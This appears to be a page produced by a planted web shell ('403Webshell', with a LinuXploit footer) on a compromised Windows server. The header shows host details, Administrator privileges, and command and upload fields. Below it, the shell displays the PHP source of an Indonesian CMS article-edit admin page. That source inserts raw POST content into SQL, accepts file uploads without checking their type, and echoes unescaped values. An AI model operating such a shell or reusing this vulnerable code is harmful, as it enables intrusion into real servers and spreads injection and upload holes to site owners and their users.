403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/bpkd/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/bpkd/admin/article-edit.php
<?php
$page_title = 'Edit Artikel';
require_once 'config/database.php';
require_once '../includes/config.php'; // Load BASE_URL
require_once 'includes/header.php';
require_once 'config/encryption.php';
//require_once 'includes/init.php';

// Get article ID
$id = (int)$_GET['id'];

// Get article data
$article = $conn->query("SELECT * FROM articles WHERE id = $id")->fetch_assoc();

if (!$article) {
    redirect(BASE_URL . '/admin/articles.php');
}

// Get categories
$categories = $conn->query("SELECT * FROM categories ORDER BY name");

// Get tags
$tags = $conn->query("SELECT * FROM tags ORDER BY name");

// Get article tags
$article_tags = [];
$result = $conn->query("SELECT tag_id FROM article_tags WHERE article_id = $id");
while($row = $result->fetch_assoc()) {
    $article_tags[] = $row['tag_id'];
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    
    // Ambil data dari form
    $title = sanitize($_POST['title']);
    $content = $_POST['content'];
    $excerpt = sanitize($_POST['excerpt']);
    $category_id = (int)$_POST['category_id'];
    $status = sanitize($_POST['status']);
    $slug_from_form = !empty($_POST['slug']) ? sanitize($_POST['slug']) : '';
    $dok_foto = !empty($_POST['dok_foto']) ? sanitize($_POST['dok_foto']) : 'dok. kontributor';
    
    // Handle regenerate hash jika ada
    if (isset($_POST['regenerate_hash'])) {
        $new_hash = substr(md5(uniqid() . rand() . time()), 0, 12);
        $conn->query("UPDATE articles SET url_hash = '$new_hash' WHERE id = $id");
        $article = $conn->query("SELECT * FROM articles WHERE id = $id")->fetch_assoc();
    }
    
    // Generate slug
    if (!empty($slug_from_form)) {
        $slug = createSlug($slug_from_form);
    } else {
        $slug = createSlug($title);
    }
    
    // Cek duplikat slug
    $check_slug = $conn->query("SELECT id FROM articles WHERE slug = '$slug' AND id != $id");
    if ($check_slug->num_rows > 0) {
        $slug .= '-' . time();
    }

    // Handle featured image upload
    $featured_image = $article['featured_image'];
    if (isset($_FILES['featured_image']) && $_FILES['featured_image']['error'] == 0) {
        $target_dir = dirname(__DIR__) . "/uploads/articles/";
        if (!file_exists($target_dir)) {
            mkdir($target_dir, 0777, true);
        }
        
        $image_name = time() . '_' . basename($_FILES['featured_image']['name']);
        $target_file = $target_dir . $image_name;
        
        if (move_uploaded_file($_FILES['featured_image']['tmp_name'], $target_file)) {
            // Hapus gambar lama
            $old_file = dirname(__DIR__) . "/" . $featured_image;
            if ($featured_image && file_exists($old_file)) {
                unlink($old_file);
            }
            $featured_image = 'uploads/articles/' . $image_name;
        }
    }
    
    // Cek apakah published_at perlu diupdate
    $published_at_sql = '';
    if ($status == 'published' && empty($article['published_at'])) {
        $published_at_sql = ", published_at = NOW()";
    }
    
    $query = "UPDATE articles SET 
              title = '$title',
              slug = '$slug',
              content = '$content',
              excerpt = '$excerpt',
              featured_image = '$featured_image',
              category_id = $category_id,
              status = '$status',
              dok_foto = '$dok_foto'
              $published_at_sql
              WHERE id = $id";
    
    if ($conn->query($query)) {
        // Update tags
        $conn->query("DELETE FROM article_tags WHERE article_id = $id");
        
        if (isset($_POST['tags']) && is_array($_POST['tags'])) {
            foreach ($_POST['tags'] as $tag_id) {
                $tag_id = (int)$tag_id;
                $conn->query("INSERT INTO article_tags (article_id, tag_id) VALUES ($id, $tag_id)");
            }
        }
        
        redirect(BASE_URL . '/admin/articles.php?msg=updated');
    } else {
        $error = "Error: " . $conn->error;
    }
}
?>

<style>
/* Custom styles untuk form artikel */
.article-form-container {
    max-width: 1400px;
    margin: 0 auto;
}

.editor-wrapper {
    border: 2px solid #e9ecef;
    border-radius: 15px;
    overflow: hidden;
    transition: all 0.3s;
    background: #fff;
}

.editor-wrapper:focus-within {
    border-color: #4e73df;
    box-shadow: 0 0 0 4px rgba(78, 115, 223, 0.15);
}

/* CKEditor Custom Styles */
.ck-editor__editable {
    min-height: 600px !important;
    max-height: 800px !important;
    font-family: 'Inter', sans-serif !important;
    font-size: 16px !important;
    line-height: 1.8 !important;
    padding: 30px !important;
}

/* Sembunyikan textarea asli, CKEditor akan membuat yang baru */
textarea#content-editor {
    display: none;
}

.ck-editor {
    margin-top: 0;
}

/* Pastikan tidak ada duplikasi */
.ck-editor__editable_inline {
    min-height: 500px;
}

.ck.ck-editor {
    width: 100% !important;
}

.ck.ck-toolbar {
    border: none !important;
    border-bottom: 2px solid #e9ecef !important;
    background: #f8f9fc !important;
    padding: 15px !important;
}

.ck.ck-button {
    border-radius: 8px !important;
    transition: all 0.2s !important;
}

.ck.ck-button:hover {
    background: #e9ecef !important;
    transform: translateY(-2px);
}

.ck.ck-button.ck-on {
    background: #4e73df !important;
    color: white !important;
}

/* Featured image preview */
.featured-image-preview {
    position: relative;
    border-radius: 15px;
    overflow: hidden;
    border: 2px solid #e9ecef;
    transition: all 0.3s;
}

.featured-image-preview:hover {
    border-color: #4e73df;
    transform: scale(1.02);
}

.featured-image-preview img {
    width: 100%;
    height: 200px;
    object-fit: cover;
}

.featured-image-preview .remove-image {
    position: absolute;
    top: 10px;
    right: 10px;
    background: rgba(220, 53, 69, 0.9);
    color: white;
    border: none;
    border-radius: 50%;
    width: 30px;
    height: 30px;
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
    transition: all 0.3s;
    opacity: 0;
}

.featured-image-preview:hover .remove-image {
    opacity: 1;
}

.featured-image-preview .remove-image:hover {
    background: #dc3545;
    transform: scale(1.1);
}

/* Form sidebar */
.form-sidebar {
    position: sticky;
    top: 30px;
}

.sidebar-card {
    border: none;
    border-radius: 15px;
    box-shadow: 0 5px 20px rgba(0,0,0,0.05);
    margin-bottom: 20px;
    transition: all 0.3s;
}

.sidebar-card:hover {
    box-shadow: 0 10px 30px rgba(0,0,0,0.1);
}

.sidebar-card .card-header {
    background: linear-gradient(135deg, #4e73df 0%, #224abe 100%);
    color: white;
    border-radius: 15px 15px 0 0 !important;
    padding: 15px 20px;
}

.sidebar-card .card-header h6 {
    margin: 0;
    font-weight: 600;
    font-size: 1rem;
    letter-spacing: 0.5px;
}

.sidebar-card .card-body {
    padding: 20px;
}

/* Tag container */
.tag-container {
    max-height: 200px;
    overflow-y: auto;
    padding: 10px;
    background: #f8f9fc;
    border-radius: 10px;
}

.tag-container .form-check {
    padding: 8px 12px;
    margin: 0;
    border-radius: 8px;
    transition: all 0.2s;
}

.tag-container .form-check:hover {
    background: #e9ecef;
}

.tag-container .form-check-input:checked ~ .form-check-label {
    color: #4e73df;
    font-weight: 600;
}

/* Publish button */
.btn-publish {
    background: linear-gradient(135deg, #1cc88a 0%, #13855c 100%);
    color: white;
    border: none;
    padding: 15px;
    font-weight: 600;
    letter-spacing: 0.5px;
    transition: all 0.3s;
}

.btn-publish:hover {
    transform: translateY(-3px);
    box-shadow: 0 10px 20px rgba(28, 200, 138, 0.3);
}

.btn-draft {
    background: linear-gradient(135deg, #858796 0%, #6b6d7d 100%);
    color: white;
    border: none;
    padding: 15px;
    font-weight: 600;
    letter-spacing: 0.5px;
    transition: all 0.3s;
}

.btn-draft:hover {
    transform: translateY(-3px);
    box-shadow: 0 10px 20px rgba(133, 135, 150, 0.3);
}

/* Character counter */
.char-counter {
    position: absolute;
    bottom: 10px;
    right: 10px;
    background: rgba(78, 115, 223, 0.1);
    padding: 5px 10px;
    border-radius: 20px;
    font-size: 0.8rem;
    color: #4e73df;
    font-weight: 600;
}

/* Loading overlay */
.loading-overlay {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: rgba(255,255,255,0.9);
    display: none;
    justify-content: center;
    align-items: center;
    z-index: 9999;
}

.loading-overlay.active {
    display: flex;
}

.loading-spinner {
    width: 60px;
    height: 60px;
    border: 5px solid #e9ecef;
    border-top-color: #4e73df;
    border-radius: 50%;
    animation: spin 1s linear infinite;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}
</style>

<div class="container-fluid article-form-container">
    <div class="d-sm-flex align-items-center justify-content-between mb-4">
        <h1 class="h3 mb-0 text-gray-800">Edit Artikel</h1>
        <div>
            <a href="<?php echo BASE_URL; ?>/admin/articles.php" class="btn btn-secondary me-2">
                <i class="fas fa-arrow-left me-2"></i>Kembali
            </a>
            <a href="<?php echo BASE_URL; ?>/artikel/<?php echo $article['slug']; ?>" target="_blank" class="btn btn-info">
                <i class="fas fa-eye me-2"></i>Lihat Artikel
            </a>
        </div>
    </div>

    <?php if (isset($error)): ?>
        <div class="alert alert-danger"><?php echo $error; ?></div>
    <?php endif; ?>

    <form method="POST" enctype="multipart/form-data" id="articleForm">
        <div class="row">
            <!-- Main Content Column -->
            <div class="col-lg-8">
                <div class="card shadow mb-4">
                    <div class="card-body p-4">
                        <!-- Title -->
                        <div class="mb-3">
                            <label class="form-label fw-bold fs-6">
                                <i class="fas fa-heading me-2 text-primary"></i>Judul Artikel <span class="text-danger">*</span>
                            </label>
                            <input type="text" class="form-control form-control-lg" name="title" 
                                   value="<?php echo htmlspecialchars($article['title']); ?>" required>
                        </div>

                        <!-- Content with CKEditor -->
                        <div class="mb-3">
                            <label class="form-label fw-bold fs-6">
                                <i class="fas fa-edit me-2 text-primary"></i>Konten Artikel <span class="text-danger">*</span>
                            </label>
                            <div class="editor-wrapper">
                                <textarea id="content-editor" name="content" rows="20" required><?php echo htmlspecialchars($article['content']); ?></textarea>
                            </div>
                        </div>

                        <!-- Excerpt -->
                        <div class="mb-3">
                            <label class="form-label fw-bold fs-6">
                                <i class="fas fa-paragraph me-2 text-primary"></i>Ringkasan (Excerpt)
                            </label>
                            <div class="position-relative">
                                <textarea class="form-control" name="excerpt" rows="4" 
                                          maxlength="300" id="excerpt"><?php echo htmlspecialchars($article['excerpt']); ?></textarea>
                                <div class="char-counter" id="charCounter"><?php echo strlen($article['excerpt']); ?>/300</div>
                            </div>
                        </div>

                        <!-- Slug field -->
                        <div class="mb-3">
                            <label class="form-label">Slug (URL)</label>
                            <div class="input-group">
                                <span class="input-group-text"><?php echo $_SERVER['HTTP_HOST']; ?>/artikel/</span>
                                <input type="text" class="form-control" name="slug" id="slug" 
                                       value="<?php echo $article['slug'] ?? ''; ?>" 
                                       placeholder="nama-artikel-anda">
                            </div>
                            <small class="text-muted">Biarkan kosong untuk generate otomatis dari judul</small>
                        </div>

                        <!-- URL Hash -->
                        <div class="mb-3">
                            <label class="form-label">URL Hash (Link Aman)</label>
                            <div class="input-group">
                                <span class="input-group-text"><?php echo $_SERVER['HTTP_HOST']; ?>/artikel/</span>
                                <input type="text" class="form-control" value="<?php echo $article['url_hash']; ?>" readonly>
                                <button type="submit" name="regenerate_hash" class="btn btn-warning" onclick="return confirm('Regenerasi hash akan mengubah URL artikel. Lanjutkan?')">
                                    <i class="fas fa-sync-alt me-1"></i>Regenerate
                                </button>
                            </div>
                            <small class="text-muted">URL aman yang tidak bisa ditebak. Regenerasi akan mengubah link yang sudah ada.</small>
                        </div>

                    </div>
                </div>
            </div>

            <!-- Sidebar Column -->
            <div class="col-lg-4">
                <div class="form-sidebar">
                    <!-- Publish Box -->
                    <div class="sidebar-card">
                        <div class="card-header">
                            <h6><i class="fas fa-globe me-2"></i>Publish</h6>
                        </div>
                        <div class="card-body">
                            <div class="mb-3">
                                <label class="form-label">Status</label>
                                <select class="form-select" name="status" id="status">
                                    <option value="draft" <?php echo $article['status'] == 'draft' ? 'selected' : ''; ?>>Draft</option>
                                    <option value="published" <?php echo $article['status'] == 'published' ? 'selected' : ''; ?>>Published</option>
                                </select>
                            </div>
                            
                            <div class="mb-3">
                                <label class="form-label">Dibuat pada</label>
                                <p class="form-control-static"><?php echo date('d M Y H:i', strtotime($article['created_at'])); ?></p>
                            </div>
                            
                            <?php if($article['published_at']): ?>
                            <div class="mb-3">
                                <label class="form-label">Dipublikasi pada</label>
                                <p class="form-control-static"><?php echo date('d M Y H:i', strtotime($article['published_at'])); ?></p>
                            </div>
                            <?php endif; ?>
                            
                            <div class="d-grid gap-2">
                                <button type="submit" name="action" value="update" class="btn btn-publish" id="updateBtn">
                                    <i class="fas fa-save me-2"></i>Update Artikel
                                </button>
                            </div>

                        </div>
                    </div>

                    <!-- Category Box -->
                    <div class="sidebar-card">
                        <div class="card-header">
                            <h6><i class="fas fa-folder me-2"></i>Kategori</h6>
                        </div>
                        <div class="card-body">
                            <select class="form-select" name="category_id" required>
                                <option value="">Pilih Kategori</option>
                                <?php 
                                $categories->data_seek(0);
                                while($cat = $categories->fetch_assoc()): 
                                ?>
                                    <option value="<?php echo $cat['id']; ?>" 
                                        <?php echo $cat['id'] == $article['category_id'] ? 'selected' : ''; ?>>
                                        <?php echo $cat['name']; ?>
                                    </option>
                                <?php endwhile; ?>
                            </select>
                        </div>
                    </div>

                    <!-- Tags Box -->
                    <div class="sidebar-card">
                        <div class="card-header">
                            <h6><i class="fas fa-tags me-2"></i>Tag</h6>
                        </div>
                        <div class="card-body">
                            <div class="tag-container">
                                <?php 
                                $tags->data_seek(0);
                                while($tag = $tags->fetch_assoc()): 
                                ?>
                                    <div class="form-check">
                                        <input class="form-check-input" type="checkbox" name="tags[]" 
                                               value="<?php echo $tag['id']; ?>" 
                                               id="tag<?php echo $tag['id']; ?>"
                                               <?php echo in_array($tag['id'], $article_tags) ? 'checked' : ''; ?>>
                                        <label class="form-check-label" for="tag<?php echo $tag['id']; ?>">
                                            <?php echo $tag['name']; ?>
                                        </label>
                                    </div>
                                <?php endwhile; ?>
                            </div>
                        </div>
                    </div>

                    <!-- Featured Image Box -->
                    <div class="sidebar-card">
                        <div class="card-header">
                            <h6><i class="fas fa-image me-2"></i>Gambar Utama</h6>
                        </div>
                        <div class="card-body">
                            <?php if ($article['featured_image']): ?>
                                <div class="featured-image-preview mb-3" id="imagePreview">
                                    <img src="<?php echo BASE_URL; ?>/<?php echo $article['featured_image']; ?>" alt="Preview" id="previewImg">
                                    <button type="button" class="remove-image" onclick="removeImage()">
                                        <i class="fas fa-times"></i>
                                    </button>
                                </div>
                            <?php endif; ?>
                            
                            <input type="file" class="form-control" name="featured_image" 
                                   accept="image/*" id="featuredImage">
                            <small class="text-muted d-block mt-2">
                                <i class="fas fa-info-circle me-1"></i>Format: JPG, PNG, GIF. Maks 2MB
                            </small>
                        </div>
                    </div>

                    <!-- Juru Foto Box -->
                    <div class="sidebar-card">
                        <div class="card-header">
                            <h6><i class="fas fa-user me-2"></i>Juru Foto</h6>
                        </div>
                        <div class="card-body">
                            <input type="text" class="form-control form-control-lg" name="dok_foto" 
                                   value="<?php echo htmlspecialchars($article['dok_foto']); ?>" required>
                        </div>
                    </div>

                </div>
            </div>
        </div>
    </form>
</div>

<!-- Loading Overlay -->
<div class="loading-overlay" id="loadingOverlay">
    <div class="loading-spinner"></div>
</div>

<!-- CKEditor 5 -->
<script src="https://cdn.ckeditor.com/ckeditor5/39.0.1/classic/ckeditor.js"></script>
<script src="https://cdn.ckeditor.com/ckeditor5/39.0.1/classic/translations/id.js"></script>

<script>
// Pass BASE_URL ke JavaScript
const BASE_URL = '<?php echo BASE_URL; ?>';

// Variabel global
let isEditorReady = false;

// ========== Bersihkan editor lama ==========
if (window.editor) {
    try { window.editor.destroy(); } catch(e) {}
    window.editor = null;
}

// Hapus semua elemen CKEditor yang tertinggal
document.querySelectorAll('.ck-editor, .ck-reset, .ck-body').forEach(el => el.remove());

// Reset textarea
const textareaEl = document.querySelector('#content-editor');
if (textareaEl) {
    textareaEl.style.display = 'block';
    textareaEl.style.visibility = 'visible';
}

// Inisialisasi CKEditor
ClassicEditor
    .create(document.querySelector('#content-editor'), {
        language: 'id',
        toolbar: ['heading', '|', 'bold', 'italic', 'underline', '|', 'bulletedList', 'numberedList', '|', 'link', 'undo', 'redo'],
        removePlugins: ['Title', 'ImageUpload', 'CKFinderUploadAdapter', 'EasyImage', 'CKFinder', 'ImageToolbar', 'ImageCaption', 'ImageStyle', 'ImageResize', 'LinkImage']
    })
    .then(editor => {
        window.editor = editor;
        isEditorReady = true;
        
        // Set data awal
        const existingContent = document.querySelector('#content-editor').value;
        if (existingContent) editor.setData(existingContent);
        
        // Sinkronisasi otomatis
        editor.model.document.on('change:data', () => {
            document.querySelector('#content-editor').value = editor.getData();
        });
        
        console.log('CKEditor siap');
    })
    .catch(error => console.error('CKEditor error:', error));

// ========== Handle form submit ==========
const form = document.getElementById('articleForm');
const updateBtn = document.getElementById('updateBtn');

if (updateBtn) {
    updateBtn.onclick = function(e) {
        e.preventDefault();
        if (window.editor) {
            document.querySelector('#content-editor').value = window.editor.getData();
        }
        if (form) form.submit();
    };
}

if (form) {
    form.onsubmit = function() {
        if (window.editor) {
            document.querySelector('#content-editor').value = window.editor.getData();
        }
        const loading = document.getElementById('loadingOverlay');
        if (loading) loading.classList.add('active');
        return true;
    };
}

// Character counter
const excerptInput = document.getElementById('excerpt');
const charCounter = document.getElementById('charCounter');
if (excerptInput && charCounter) {
    excerptInput.addEventListener('input', function() {
        const len = this.value.length;
        charCounter.textContent = len + '/300';
        charCounter.style.color = len > 280 ? '#e74a3b' : (len > 250 ? '#f6c23e' : '#4e73df');
    });
}

// Featured image preview
const featuredImage = document.getElementById('featuredImage');
if (featuredImage) {
    featuredImage.addEventListener('change', function(e) {
        const file = e.target.files[0];
        if (file) {
            const reader = new FileReader();
            reader.onload = function(e) {
                let preview = document.getElementById('imagePreview');
                if (!preview) {
                    const newPreview = document.createElement('div');
                    newPreview.className = 'featured-image-preview mb-3';
                    newPreview.id = 'imagePreview';
                    newPreview.innerHTML = '<img src="' + e.target.result + '" id="previewImg" style="width:100%;height:150px;object-fit:cover;border-radius:12px;"><button type="button" class="remove-image" onclick="removeImage()" style="position:absolute;top:10px;right:10px;background:#dc3545;color:white;border:none;border-radius:50%;width:30px;height:30px;">×</button>';
                    document.querySelector('.featured-image-upload')?.after(newPreview);
                } else {
                    document.getElementById('previewImg').src = e.target.result;
                    preview.style.display = 'block';
                }
            };
            reader.readAsDataURL(file);
        }
    });
}

window.removeImage = function() {
    document.getElementById('featuredImage').value = '';
    const preview = document.getElementById('imagePreview');
    if (preview) preview.style.display = 'none';
};

// Auto generate slug
const titleInput = document.querySelector('input[name="title"]');
const slugInput = document.querySelector('input[name="slug"]');
if (titleInput && slugInput) {
    titleInput.addEventListener('keyup', function() {
        slugInput.value = this.value.toLowerCase().replace(/[^a-z0-9\s]/g, '').replace(/\s+/g, '-').replace(/-+/g, '-').replace(/^-|-$/g, '');
    });
}

console.log('✅ Page ready');
</script>

<?php require_once 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit